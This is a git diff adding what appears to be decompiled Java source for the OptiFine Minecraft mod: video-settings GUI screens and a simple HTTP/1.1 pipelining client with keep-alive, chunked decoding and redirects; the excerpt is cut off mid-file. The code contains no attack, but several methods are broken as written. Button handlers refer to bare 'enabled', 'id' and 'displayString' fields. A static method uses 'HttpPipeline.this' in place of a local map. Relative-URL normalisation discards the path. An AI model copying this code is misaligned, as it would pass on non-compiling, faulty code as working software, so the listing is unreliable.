+import net.minecraft.client.gui.GuiOptionSlider;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiOptionSliderOF extends GuiOptionSlider implements IOptionControl
+{
+  private GameSettings.Options option = null;
+  
+  public GuiOptionSliderOF(int id, int x, int y, GameSettings.Options option)
+  {
+    super(id, x, y, option);
+    this.option = option;
+  }
+  
+  public GameSettings.Options getOption()
+  {
+    return option;
+  }
+}
diff --git a/src/minecraft/optifine/GuiOtherSettingsOF.java b/src/minecraft/optifine/GuiOtherSettingsOF.java
new file mode 100644
index 0000000..fe5cc43
--- /dev/null
+++ b/src/minecraft/optifine/GuiOtherSettingsOF.java
@@ -0,0 +1,98 @@
+package optifine;
+
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.resources.I18n;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiOtherSettingsOF extends GuiScreen implements net.minecraft.client.gui.GuiYesNoCallback
+{
+  private GuiScreen prevScreen;
+  protected String title;
+  private GameSettings settings;
+  private static GameSettings.Options[] enumOptions = { GameSettings.Options.LAGOMETER, GameSettings.Options.PROFILER, GameSettings.Options.WEATHER, GameSettings.Options.TIME, GameSettings.Options.USE_FULLSCREEN, GameSettings.Options.FULLSCREEN_MODE, GameSettings.Options.SHOW_FPS, GameSettings.Options.AUTOSAVE_TICKS, GameSettings.Options.ANAGLYPH };
+  private TooltipManager tooltipManager = new TooltipManager(this);
+  
+  public GuiOtherSettingsOF(GuiScreen guiscreen, GameSettings gamesettings)
+  {
+    prevScreen = guiscreen;
+    settings = gamesettings;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    title = I18n.format("of.options.otherTitle", new Object[0]);
+    buttonList.clear();
+    
+    for (int i = 0; i < enumOptions.length; i++)
+    {
+      GameSettings.Options enumoptions = enumOptions[i];
+      int x = width / 2 - 155 + i % 2 * 160;
+      int y = height / 6 + 21 * (i / 2) - 12;
+      
+      if (!enumoptions.getEnumFloat())
+      {
+        buttonList.add(new GuiOptionButtonOF(enumoptions.returnEnumOrdinal(), x, y, enumoptions, settings.getKeyBinding(enumoptions)));
+      }
+      else
+      {
+        buttonList.add(new GuiOptionSliderOF(enumoptions.returnEnumOrdinal(), x, y, enumoptions));
+      }
+    }
+    
+    buttonList.add(new GuiButton(210, width / 2 - 100, height / 6 + 168 + 11 - 44, I18n.format("of.options.other.reset", new Object[0])));
+    buttonList.add(new GuiButton(200, width / 2 - 100, height / 6 + 168 + 11, I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton guibutton)
+  {
+    if (enabled)
+    {
+      if ((id < 200) && ((guibutton instanceof net.minecraft.client.gui.GuiOptionButton)))
+      {
+        settings.setOptionValue(((net.minecraft.client.gui.GuiOptionButton)guibutton).returnEnumOptions(), 1);
+        displayString = settings.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+      }
+      
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(prevScreen);
+      }
+      
+      if (id == 210)
+      {
+        mc.gameSettings.saveOptions();
+        net.minecraft.client.gui.GuiYesNo guiyesno = new net.minecraft.client.gui.GuiYesNo(this, I18n.format("of.message.other.reset", new Object[0]), "", 9999);
+        mc.displayGuiScreen(guiyesno);
+      }
+    }
+  }
+  
+  public void confirmClicked(boolean flag, int i)
+  {
+    if (flag)
+    {
+      mc.gameSettings.resetSettings();
+    }
+    
+    mc.displayGuiScreen(this);
+  }
+  
+
+
+
+  public void drawScreen(int x, int y, float f)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, title, width / 2, 15, 16777215);
+    super.drawScreen(x, y, f);
+    tooltipManager.drawTooltips(x, y, buttonList);
+  }
+}
diff --git a/src/minecraft/optifine/GuiPerformanceSettingsOF.java b/src/minecraft/optifine/GuiPerformanceSettingsOF.java
new file mode 100644
index 0000000..c71ec3f
--- /dev/null
+++ b/src/minecraft/optifine/GuiPerformanceSettingsOF.java
@@ -0,0 +1,78 @@
+package optifine;
+
+import java.util.List;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiPerformanceSettingsOF extends GuiScreen
+{
+  private GuiScreen prevScreen;
+  protected String title;
+  private GameSettings settings;
+  private static GameSettings.Options[] enumOptions = { GameSettings.Options.SMOOTH_FPS, GameSettings.Options.SMOOTH_WORLD, GameSettings.Options.FAST_RENDER, GameSettings.Options.FAST_MATH, GameSettings.Options.CHUNK_UPDATES, GameSettings.Options.CHUNK_UPDATES_DYNAMIC, GameSettings.Options.LAZY_CHUNK_LOADING };
+  private TooltipManager tooltipManager = new TooltipManager(this);
+  
+  public GuiPerformanceSettingsOF(GuiScreen guiscreen, GameSettings gamesettings)
+  {
+    prevScreen = guiscreen;
+    settings = gamesettings;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    title = net.minecraft.client.resources.I18n.format("of.options.performanceTitle", new Object[0]);
+    buttonList.clear();
+    
+    for (int i = 0; i < enumOptions.length; i++)
+    {
+      GameSettings.Options enumoptions = enumOptions[i];
+      int x = width / 2 - 155 + i % 2 * 160;
+      int y = height / 6 + 21 * (i / 2) - 12;
+      
+      if (!enumoptions.getEnumFloat())
+      {
+        buttonList.add(new GuiOptionButtonOF(enumoptions.returnEnumOrdinal(), x, y, enumoptions, settings.getKeyBinding(enumoptions)));
+      }
+      else
+      {
+        buttonList.add(new GuiOptionSliderOF(enumoptions.returnEnumOrdinal(), x, y, enumoptions));
+      }
+    }
+    
+    buttonList.add(new GuiButton(200, width / 2 - 100, height / 6 + 168 + 11, net.minecraft.client.resources.I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton guibutton)
+  {
+    if (enabled)
+    {
+      if ((id < 200) && ((guibutton instanceof net.minecraft.client.gui.GuiOptionButton)))
+      {
+        settings.setOptionValue(((net.minecraft.client.gui.GuiOptionButton)guibutton).returnEnumOptions(), 1);
+        displayString = settings.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+      }
+      
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(prevScreen);
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int x, int y, float f)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, title, width / 2, 15, 16777215);
+    super.drawScreen(x, y, f);
+    tooltipManager.drawTooltips(x, y, buttonList);
+  }
+}
diff --git a/src/minecraft/optifine/GuiQualitySettingsOF.java b/src/minecraft/optifine/GuiQualitySettingsOF.java
new file mode 100644
index 0000000..08eddae
--- /dev/null
+++ b/src/minecraft/optifine/GuiQualitySettingsOF.java
@@ -0,0 +1,85 @@
+package optifine;
+
+import java.util.List;
+import net.minecraft.client.gui.GuiButton;
+import net.minecraft.client.gui.GuiScreen;
+import net.minecraft.client.gui.ScaledResolution;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.client.settings.GameSettings.Options;
+
+public class GuiQualitySettingsOF extends GuiScreen
+{
+  private GuiScreen prevScreen;
+  protected String title;
+  private GameSettings settings;
+  private static GameSettings.Options[] enumOptions = { GameSettings.Options.MIPMAP_LEVELS, GameSettings.Options.MIPMAP_TYPE, GameSettings.Options.AF_LEVEL, GameSettings.Options.AA_LEVEL, GameSettings.Options.CLEAR_WATER, GameSettings.Options.RANDOM_MOBS, GameSettings.Options.BETTER_GRASS, GameSettings.Options.BETTER_SNOW, GameSettings.Options.CUSTOM_FONTS, GameSettings.Options.CUSTOM_COLORS, GameSettings.Options.SWAMP_COLORS, GameSettings.Options.SMOOTH_BIOMES, GameSettings.Options.CONNECTED_TEXTURES, GameSettings.Options.NATURAL_TEXTURES, GameSettings.Options.CUSTOM_SKY, GameSettings.Options.CUSTOM_ITEMS, GameSettings.Options.DYNAMIC_LIGHTS };
+  private TooltipManager tooltipManager = new TooltipManager(this);
+  
+  public GuiQualitySettingsOF(GuiScreen guiscreen, GameSettings gamesettings)
+  {
+    prevScreen = guiscreen;
+    settings = gamesettings;
+  }
+  
+
+
+
+  public void initGui()
+  {
+    title = net.minecraft.client.resources.I18n.format("of.options.qualityTitle", new Object[0]);
+    buttonList.clear();
+    
+    for (int i = 0; i < enumOptions.length; i++)
+    {
+      GameSettings.Options opt = enumOptions[i];
+      int x = width / 2 - 155 + i % 2 * 160;
+      int y = height / 6 + 21 * (i / 2) - 12;
+      
+      if (!opt.getEnumFloat())
+      {
+        buttonList.add(new GuiOptionButtonOF(opt.returnEnumOrdinal(), x, y, opt, settings.getKeyBinding(opt)));
+      }
+      else
+      {
+        buttonList.add(new GuiOptionSliderOF(opt.returnEnumOrdinal(), x, y, opt));
+      }
+    }
+    
+    buttonList.add(new GuiButton(200, width / 2 - 100, height / 6 + 168 + 11, net.minecraft.client.resources.I18n.format("gui.done", new Object[0])));
+  }
+  
+  protected void actionPerformed(GuiButton guibutton)
+  {
+    if (enabled)
+    {
+      if ((id < 200) && ((guibutton instanceof net.minecraft.client.gui.GuiOptionButton)))
+      {
+        settings.setOptionValue(((net.minecraft.client.gui.GuiOptionButton)guibutton).returnEnumOptions(), 1);
+        displayString = settings.getKeyBinding(GameSettings.Options.getEnumOptions(id));
+      }
+      
+      if (id == 200)
+      {
+        mc.gameSettings.saveOptions();
+        mc.displayGuiScreen(prevScreen);
+      }
+      
+      if (id != GameSettings.Options.AA_LEVEL.ordinal())
+      {
+        ScaledResolution sr = new ScaledResolution(mc);
+        setWorldAndResolution(mc, sr.getScaledWidth(), sr.getScaledHeight());
+      }
+    }
+  }
+  
+
+
+
+  public void drawScreen(int x, int y, float f)
+  {
+    drawDefaultBackground();
+    drawCenteredString(fontRendererObj, title, width / 2, 15, 16777215);
+    super.drawScreen(x, y, f);
+    tooltipManager.drawTooltips(x, y, buttonList);
+  }
+}
diff --git a/src/minecraft/optifine/HttpListener.java b/src/minecraft/optifine/HttpListener.java
new file mode 100644
index 0000000..1379c56
--- /dev/null
+++ b/src/minecraft/optifine/HttpListener.java
@@ -0,0 +1,8 @@
+package optifine;
+
+public abstract interface HttpListener
+{
+  public abstract void finished(HttpRequest paramHttpRequest, HttpResponse paramHttpResponse);
+  
+  public abstract void failed(HttpRequest paramHttpRequest, Exception paramException);
+}
diff --git a/src/minecraft/optifine/HttpPipeline.java b/src/minecraft/optifine/HttpPipeline.java
new file mode 100644
index 0000000..c0e19c9
--- /dev/null
+++ b/src/minecraft/optifine/HttpPipeline.java
@@ -0,0 +1,226 @@
+package optifine;
+
+import java.io.IOException;
+import java.io.InterruptedIOException;
+import java.net.Proxy;
+import java.net.URL;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+public class HttpPipeline
+{
+  private static Map mapConnections = new HashMap();
+  public static final String HEADER_USER_AGENT = "User-Agent";
+  public static final String HEADER_HOST = "Host";
+  public static final String HEADER_ACCEPT = "Accept";
+  public static final String HEADER_LOCATION = "Location";
+  public static final String HEADER_KEEP_ALIVE = "Keep-Alive";
+  public static final String HEADER_CONNECTION = "Connection";
+  public static final String HEADER_VALUE_KEEP_ALIVE = "keep-alive";
+  public static final String HEADER_TRANSFER_ENCODING = "Transfer-Encoding";
+  public static final String HEADER_VALUE_CHUNKED = "chunked";
+  
+  public HttpPipeline() {}
+  
+  public static void addRequest(String urlStr, HttpListener listener) throws IOException { addRequest(urlStr, listener, Proxy.NO_PROXY); }
+  
+  public static void addRequest(String urlStr, HttpListener listener, Proxy proxy)
+    throws IOException
+  {
+    HttpRequest hr = makeRequest(urlStr, proxy);
+    HttpPipelineRequest hpr = new HttpPipelineRequest(hr, listener);
+    addRequest(hpr);
+  }
+  
+  public static HttpRequest makeRequest(String urlStr, Proxy proxy) throws IOException
+  {
+    URL url = new URL(urlStr);
+    
+    if (!url.getProtocol().equals("http"))
+    {
+      throw new IOException("Only protocol http is supported: " + url);
+    }
+    
+
+    String file = url.getFile();
+    String host = url.getHost();
+    int port = url.getPort();
+    
+    if (port <= 0)
+    {
+      port = 80;
+    }
+    
+    String method = "GET";
+    String http = "HTTP/1.1";
+    LinkedHashMap headers = new LinkedHashMap();
+    headers.put("User-Agent", "Java/" + System.getProperty("java.version"));
+    headers.put("Host", host);
+    headers.put("Accept", "text/html, image/gif, image/png");
+    headers.put("Connection", "keep-alive");
+    byte[] body = new byte[0];
+    HttpRequest req = new HttpRequest(host, port, proxy, method, file, http, headers, body);
+    return req;
+  }
+  
+
+  public static void addRequest(HttpPipelineRequest pr)
+  {
+    HttpRequest hr = pr.getHttpRequest();
+    
+    for (HttpPipelineConnection conn = getConnection(hr.getHost(), hr.getPort(), hr.getProxy()); !conn.addRequest(pr); conn = getConnection(hr.getHost(), hr.getPort(), hr.getProxy()))
+    {
+      removeConnection(hr.getHost(), hr.getPort(), hr.getProxy(), conn);
+    }
+  }
+  
+  private static synchronized HttpPipelineConnection getConnection(String host, int port, Proxy proxy)
+  {
+    String key = makeConnectionKey(host, port, proxy);
+    HttpPipelineConnection conn = (HttpPipelineConnection)mapConnections.get(key);
+    
+    if (conn == null)
+    {
+      conn = new HttpPipelineConnection(host, port, proxy);
+      mapConnections.put(key, conn);
+    }
+    
+    return conn;
+  }
+  
+  private static synchronized void removeConnection(String host, int port, Proxy proxy, HttpPipelineConnection hpc)
+  {
+    String key = makeConnectionKey(host, port, proxy);
+    HttpPipelineConnection conn = (HttpPipelineConnection)mapConnections.get(key);
+    
+    if (conn == hpc)
+    {
+      mapConnections.remove(key);
+    }
+  }
+  
+  private static String makeConnectionKey(String host, int port, Proxy proxy)
+  {
+    String hostPort = host + ":" + port + "-" + proxy;
+    return hostPort;
+  }
+  
+  public static byte[] get(String urlStr) throws IOException
+  {
+    return get(urlStr, Proxy.NO_PROXY);
+  }
+  
+  public static byte[] get(String urlStr, Proxy proxy) throws IOException
+  {
+    HttpRequest req = makeRequest(urlStr, proxy);
+    HttpResponse resp = executeRequest(req);
+    
+    if (resp.getStatus() / 100 != 2)
+    {
+      throw new IOException("HTTP response: " + resp.getStatus());
+    }
+    
+
+    return resp.getBody();
+  }
+  
+  public static HttpResponse executeRequest(HttpRequest req)
+    throws IOException
+  {
+    HashMap map = new HashMap();
+    String KEY_RESPONSE = "Response";
+    String KEY_EXCEPTION = "Exception";
+    HttpListener l = new HttpListener()
+    {
+      public void finished(HttpRequest req, HttpResponse resp)
+      {
+        Map var3 = HttpPipeline.this;
+        
+        synchronized (HttpPipeline.this)
+        {
+          put("Response", resp);
+          notifyAll();
+        }
+      }
+      
+      public void failed(HttpRequest req, Exception e) {
+        Map var3 = HttpPipeline.this;
+        
+        synchronized (HttpPipeline.this)
+        {
+          put("Exception", e);
+          notifyAll();
+        }
+      }
+    };
+    
+    synchronized (map)
+    {
+      HttpPipelineRequest hpr = new HttpPipelineRequest(req, l);
+      addRequest(hpr);
+      
+      try
+      {
+        map.wait();
+      }
+      catch (InterruptedException var10)
+      {
+        throw new InterruptedIOException("Interrupted");
+      }
+      
+      Exception e = (Exception)map.get("Exception");
+      
+      if (e != null)
+      {
+        if ((e instanceof IOException))
+        {
+          throw ((IOException)e);
+        }
+        if ((e instanceof RuntimeException))
+        {
+          throw ((RuntimeException)e);
+        }
+        
+
+        throw new RuntimeException(e.getMessage(), e);
+      }
+      
+
+
+      HttpResponse resp = (HttpResponse)map.get("Response");
+      
+      if (resp == null)
+      {
+        throw new IOException("Response is null");
+      }
+      
+
+      return resp;
+    }
+  }
+  
+
+
+  public static boolean hasActiveRequests()
+  {
+    Collection conns = mapConnections.values();
+    Iterator it = conns.iterator();
+    
+    HttpPipelineConnection conn;
+    do
+    {
+      if (!it.hasNext())
+      {
+        return false;
+      }
+      
+      conn = (HttpPipelineConnection)it.next();
+    }
+    while (!conn.hasActiveRequests());
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/optifine/HttpPipelineConnection.java b/src/minecraft/optifine/HttpPipelineConnection.java
new file mode 100644
index 0000000..776110a
--- /dev/null
+++ b/src/minecraft/optifine/HttpPipelineConnection.java
@@ -0,0 +1,434 @@
+package optifine;
+
+import java.io.BufferedOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.Proxy;
+import java.net.Socket;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class HttpPipelineConnection
+{
+  private String host;
+  private int port;
+  private Proxy proxy;
+  private List<HttpPipelineRequest> listRequests;
+  private List<HttpPipelineRequest> listRequestsSend;
+  private Socket socket;
+  private InputStream inputStream;
+  private OutputStream outputStream;
+  private HttpPipelineSender httpPipelineSender;
+  private HttpPipelineReceiver httpPipelineReceiver;
+  private int countRequests;
+  private boolean responseReceived;
+  private long keepaliveTimeoutMs;
+  private int keepaliveMaxCount;
+  private long timeLastActivityMs;
+  private boolean terminated;
+  private static final String LF = "\n";
+  public static final int TIMEOUT_CONNECT_MS = 5000;
+  public static final int TIMEOUT_READ_MS = 5000;
+  private static final Pattern patternFullUrl = Pattern.compile("^[a-zA-Z]+://.*");
+  
+  public HttpPipelineConnection(String host, int port)
+  {
+    this(host, port, Proxy.NO_PROXY);
+  }
+  
+  public HttpPipelineConnection(String host, int port, Proxy proxy)
+  {
+    this.host = null;
+    this.port = 0;
+    this.proxy = Proxy.NO_PROXY;
+    listRequests = new LinkedList();
+    listRequestsSend = new LinkedList();
+    socket = null;
+    inputStream = null;
+    outputStream = null;
+    httpPipelineSender = null;
+    httpPipelineReceiver = null;
+    countRequests = 0;
+    responseReceived = false;
+    keepaliveTimeoutMs = 5000L;
+    keepaliveMaxCount = 1000;
+    timeLastActivityMs = System.currentTimeMillis();
+    terminated = false;
+    this.host = host;
+    this.port = port;
+    this.proxy = proxy;
+    httpPipelineSender = new HttpPipelineSender(this);
+    httpPipelineSender.start();
+    httpPipelineReceiver = new HttpPipelineReceiver(this);
+    httpPipelineReceiver.start();
+  }
+  
+  public synchronized boolean addRequest(HttpPipelineRequest pr)
+  {
+    if (isClosed())
+    {
+      return false;
+    }
+    
+
+    addRequest(pr, listRequests);
+    addRequest(pr, listRequestsSend);
+    countRequests += 1;
+    return true;
+  }
+  
+
+  private void addRequest(HttpPipelineRequest pr, List<HttpPipelineRequest> list)
+  {
+    list.add(pr);
+    notifyAll();
+  }
+  
+  public synchronized void setSocket(Socket s) throws IOException
+  {
+    if (!terminated)
+    {
+      if (socket != null)
+      {
+        throw new IllegalArgumentException("Already connected");
+      }
+      
+
+      socket = s;
+      socket.setTcpNoDelay(true);
+      inputStream = socket.getInputStream();
+      outputStream = new BufferedOutputStream(socket.getOutputStream());
+      onActivity();
+      notifyAll();
+    }
+  }
+  
+  public synchronized OutputStream getOutputStream()
+    throws IOException, InterruptedException
+  {
+    while (outputStream == null)
+    {
+      checkTimeout();
+      wait(1000L);
+    }
+    
+    return outputStream;
+  }
+  
+  public synchronized InputStream getInputStream() throws IOException, InterruptedException
+  {
+    while (inputStream == null)
+    {
+      checkTimeout();
+      wait(1000L);
+    }
+    
+    return inputStream;
+  }
+  
+  public synchronized HttpPipelineRequest getNextRequestSend() throws InterruptedException, IOException
+  {
+    if ((listRequestsSend.size() <= 0) && (outputStream != null))
+    {
+      outputStream.flush();
+    }
+    
+    return getNextRequest(listRequestsSend, true);
+  }
+  
+  public synchronized HttpPipelineRequest getNextRequestReceive() throws InterruptedException
+  {
+    return getNextRequest(listRequests, false);
+  }
+  
+  private HttpPipelineRequest getNextRequest(List<HttpPipelineRequest> list, boolean remove) throws InterruptedException
+  {
+    while (list.size() <= 0)
+    {
+      checkTimeout();
+      wait(1000L);
+    }
+    
+    onActivity();
+    
+    if (remove)
+    {
+      return (HttpPipelineRequest)list.remove(0);
+    }
+    
+
+    return (HttpPipelineRequest)list.get(0);
+  }
+  
+
+  private void checkTimeout()
+  {
+    if (socket != null)
+    {
+      long timeoutMs = keepaliveTimeoutMs;
+      
+      if (listRequests.size() > 0)
+      {
+        timeoutMs = 5000L;
+      }
+      
+      long timeNowMs = System.currentTimeMillis();
+      
+      if (timeNowMs > timeLastActivityMs + timeoutMs)
+      {
+        terminate(new InterruptedException("Timeout " + timeoutMs));
+      }
+    }
+  }
+  
+  private void onActivity()
+  {
+    timeLastActivityMs = System.currentTimeMillis();
+  }
+  
+  public synchronized void onRequestSent(HttpPipelineRequest pr)
+  {
+    if (!terminated)
+    {
+      onActivity();
+    }
+  }
+  
+  public synchronized void onResponseReceived(HttpPipelineRequest pr, HttpResponse resp)
+  {
+    if (!terminated)
+    {
+      responseReceived = true;
+      onActivity();
+      
+      if ((listRequests.size() > 0) && (listRequests.get(0) == pr))
+      {
+        listRequests.remove(0);
+        pr.setClosed(true);
+        String location = resp.getHeader("Location");
+        
+        if ((resp.getStatus() / 100 == 3) && (location != null) && (pr.getHttpRequest().getRedirects() < 5))
+        {
+          try
+          {
+            location = normalizeUrl(location, pr.getHttpRequest());
+            HttpRequest listener1 = HttpPipeline.makeRequest(location, pr.getHttpRequest().getProxy());
+            listener1.setRedirects(pr.getHttpRequest().getRedirects() + 1);
+            HttpPipelineRequest hpr2 = new HttpPipelineRequest(listener1, pr.getHttpListener());
+            HttpPipeline.addRequest(hpr2);
+          }
+          catch (IOException var6)
+          {
+            pr.getHttpListener().failed(pr.getHttpRequest(), var6);
+          }
+        }
+        else
+        {
+          HttpListener listener = pr.getHttpListener();
+          listener.finished(pr.getHttpRequest(), resp);
+        }
+        
+        checkResponseHeader(resp);
+      }
+      else
+      {
+        throw new IllegalArgumentException("Response out of order: " + pr);
+      }
+    }
+  }
+  
+  private String normalizeUrl(String url, HttpRequest hr)
+  {
+    if (patternFullUrl.matcher(url).matches())
+    {
+      return url;
+    }
+    if (url.startsWith("//"))
+    {
+      return "http:" + url;
+    }
+    
+
+    String server = hr.getHost();
+    
+    if (hr.getPort() != 80)
+    {
+      server = server + ":" + hr.getPort();
+    }
+    
+    if (url.startsWith("/"))
+    {
+      return "http://" + server + url;
+    }
+    
+
+    String file = hr.getFile();
+    int pos = file.lastIndexOf("/");
+    return "http://" + server + "/" + url;
+  }
+  
+
+
+  private void checkResponseHeader(HttpResponse resp)
+  {
+    String connStr = resp.getHeader("Connection");
+    
+    if ((connStr != null) && (!connStr.toLowerCase().equals("keep-alive")))
+    {
+      terminate(new java.io.EOFException("Connection not keep-alive"));
+    }
+    
+    String keepAliveStr = resp.getHeader("Keep-Alive");
+    
+    if (keepAliveStr != null)
+    {
+      String[] parts = Config.tokenize(keepAliveStr, ",;");
+      
+      for (int i = 0; i < parts.length; i++)
+      {
+        String part = parts[i];
+        String[] tokens = split(part, '=');
+        
+        if (tokens.length >= 2)
+        {
+
+
+          if (tokens[0].equals("timeout"))
+          {
+            int max = Config.parseInt(tokens[1], -1);
+            
+            if (max > 0)
+            {
+              keepaliveTimeoutMs = (max * 1000);
+            }
+          }
+          
+          if (tokens[0].equals("max"))
+          {
+            int max = Config.parseInt(tokens[1], -1);
+            
+            if (max > 0)
+            {
+              keepaliveMaxCount = max;
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  private String[] split(String str, char separator)
+  {
+    int pos = str.indexOf(separator);
+    
+    if (pos < 0)
+    {
+      return new String[] { str };
+    }
+    
+
+    String str1 = str.substring(0, pos);
+    String str2 = str.substring(pos + 1);
+    return new String[] { str1, str2 };
+  }
+  
+
+  public synchronized void onExceptionSend(HttpPipelineRequest pr, Exception e)
+  {
+    terminate(e);
+  }
+  
+  public synchronized void onExceptionReceive(HttpPipelineRequest pr, Exception e)
+  {
+    terminate(e);
+  }
+  
+  private synchronized void terminate(Exception e)
+  {
+    if (!terminated)
+    {
+      terminated = true;
+      terminateRequests(e);
+      
+      if (httpPipelineSender != null)
+      {
+        httpPipelineSender.interrupt();
+      }
+      
+      if (httpPipelineReceiver != null)
+      {
+        httpPipelineReceiver.interrupt();
+      }
+      
+      try
+      {
+        if (socket != null)
+        {
+          socket.close();
+        }
+      }
+      catch (IOException localIOException) {}
+      
+
+
+
+      socket = null;
+      inputStream = null;
+      outputStream = null;
+    }
+  }
+  
+  private void terminateRequests(Exception e)
+  {
+    if (listRequests.size() > 0)
+    {
+
+
+      if (!responseReceived)
+      {
+        HttpPipelineRequest pr = (HttpPipelineRequest)listRequests.remove(0);
+        pr.getHttpListener().failed(pr.getHttpRequest(), e);
+        pr.setClosed(true);
+      }
+      
+      while (listRequests.size() > 0)
+      {
+        HttpPipelineRequest pr = (HttpPipelineRequest)listRequests.remove(0);
+        HttpPipeline.addRequest(pr);
+      }
+    }
+  }
+  
+  public synchronized boolean isClosed()
+  {
+    return terminated;
+  }
+  
+  public int getCountRequests()
+  {
+    return countRequests;
+  }
+  
+  public synchronized boolean hasActiveRequests()
+  {
+    return listRequests.size() > 0;
+  }
+  
+  public String getHost()
+  {
+    return host;
+  }
+  
+  public int getPort()
+  {
+    return port;
+  }
+  
+  public Proxy getProxy()
+  {
+    return proxy;
+  }
+}
diff --git a/src/minecraft/optifine/HttpPipelineReceiver.java b/src/minecraft/optifine/HttpPipelineReceiver.java
new file mode 100644
index 0000000..fc5a600
--- /dev/null
+++ b/src/minecraft/optifine/HttpPipelineReceiver.java
@@ -0,0 +1,180 @@
+package optifine;
+
+import java.io.ByteArrayOutputStream;
+import java.io.EOFException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.Charset;
+import java.util.LinkedHashMap;
+
+public class HttpPipelineReceiver extends Thread
+{
+  private HttpPipelineConnection httpPipelineConnection = null;
+  private static final Charset ASCII = Charset.forName("ASCII");
+  private static final String HEADER_CONTENT_LENGTH = "Content-Length";
+  private static final char CR = '\r';
+  private static final char LF = '\n';
+  
+  public HttpPipelineReceiver(HttpPipelineConnection httpPipelineConnection)
+  {
+    super("HttpPipelineReceiver");
+    this.httpPipelineConnection = httpPipelineConnection;
+  }
+  
+  public void run()
+  {
+    while (!Thread.interrupted())
+    {
+      HttpPipelineRequest currentRequest = null;
+      
+      try
+      {
+        currentRequest = httpPipelineConnection.getNextRequestReceive();
+        InputStream e = httpPipelineConnection.getInputStream();
+        HttpResponse resp = readResponse(e);
+        httpPipelineConnection.onResponseReceived(currentRequest, resp);
+      }
+      catch (InterruptedException var4)
+      {
+        return;
+      }
+      catch (Exception var5)
+      {
+        httpPipelineConnection.onExceptionReceive(currentRequest, var5);
+      }
+    }
+  }
+  
+  private HttpResponse readResponse(InputStream in) throws IOException
+  {
+    String statusLine = readLine(in);
+    String[] parts = Config.tokenize(statusLine, " ");
+    
+    if (parts.length < 3)
+    {
+      throw new IOException("Invalid status line: " + statusLine);
+    }
+    
+
+    String http = parts[0];
+    int status = Config.parseInt(parts[1], 0);
+    String message = parts[2];
+    LinkedHashMap headers = new LinkedHashMap();
+    
+    for (;;)
+    {
+      String body = readLine(in);
+      
+
+      if (body.length() <= 0)
+      {
+        byte[] body1 = null;
+        String lenStr1 = (String)headers.get("Content-Length");
+        
+        if (lenStr1 != null)
+        {
+          int enc1 = Config.parseInt(lenStr1, -1);
+          
+          if (enc1 > 0)
+          {
+            body1 = new byte[enc1];
+            readFull(body1, in);
+          }
+        }
+        else
+        {
+          String enc = (String)headers.get("Transfer-Encoding");
+          
+          if (Config.equals(enc, "chunked"))
+          {
+            body1 = readContentChunked(in);
+          }
+        }
+        
+        return new HttpResponse(status, statusLine, headers, body1);
+      }
+      
+      int lenStr = body.indexOf(":");
+      
+      if (lenStr > 0)
+      {
+        String enc = body.substring(0, lenStr).trim();
+        String val = body.substring(lenStr + 1).trim();
+        headers.put(enc, val);
+      }
+    }
+  }
+  
+  private byte[] readContentChunked(InputStream in)
+    throws IOException
+  {
+    ByteArrayOutputStream baos = new ByteArrayOutputStream();
+    
+    int len;
+    do
+    {
+      String line = readLine(in);
+      String[] parts = Config.tokenize(line, "; ");
+      len = Integer.parseInt(parts[0], 16);
+      byte[] buf = new byte[len];
+      readFull(buf, in);
+      baos.write(buf);
+      readLine(in);
+    }
+    while (len != 0);
+    
+    return baos.toByteArray();
+  }
+  
+  private void readFull(byte[] buf, InputStream in)
+    throws IOException
+  {
+    int len;
+    for (int pos = 0; pos < buf.length; pos += len)
+    {
+      len = in.read(buf, pos, buf.length - pos);
+      
+      if (len < 0)
+      {
+        throw new EOFException();
+      }
+    }
+  }
+  
+  private String readLine(InputStream in) throws IOException
+  {
+    ByteArrayOutputStream baos = new ByteArrayOutputStream();
+    int prev = -1;
+    boolean hasCRLF = false;
+    
+    for (;;)
+    {
+      int bytes = in.read();
+      
+      if (bytes < 0) {
+        break;
+      }
+      
+
+      baos.write(bytes);
+      
+      if ((prev == 13) && (bytes == 10))
+      {
+        hasCRLF = true;
+        break;
+      }
+      
+      prev = bytes;
+    }
+    
+    byte[] bytes1 = baos.toByteArray();
+    String str = new String(bytes1, ASCII);
+    
+    if (hasCRLF)
+    {
+      str = str.substring(0, str.length() - 2);
+    }
+    
+    return str;
+  }
+}
diff --git a/src/minecraft/optifine/HttpPipelineRequest.java b/src/minecraft/optifine/HttpPipelineRequest.java
new file mode 100644
index 0000000..4e714f4
--- /dev/null
+++ b/src/minecraft/optifine/HttpPipelineRequest.java
@@ -0,0 +1,34 @@
+package optifine;
+
+public class HttpPipelineRequest
+{
+  private HttpRequest httpRequest = null;
+  private HttpListener httpListener = null;
+  private boolean closed = false;
+  
+  public HttpPipelineRequest(HttpRequest httpRequest, HttpListener httpListener)
+  {
+    this.httpRequest = httpRequest;
+    this.httpListener = httpListener;
+  }
+  
+  public HttpRequest getHttpRequest()
+  {
+    return httpRequest;
+  }
+  
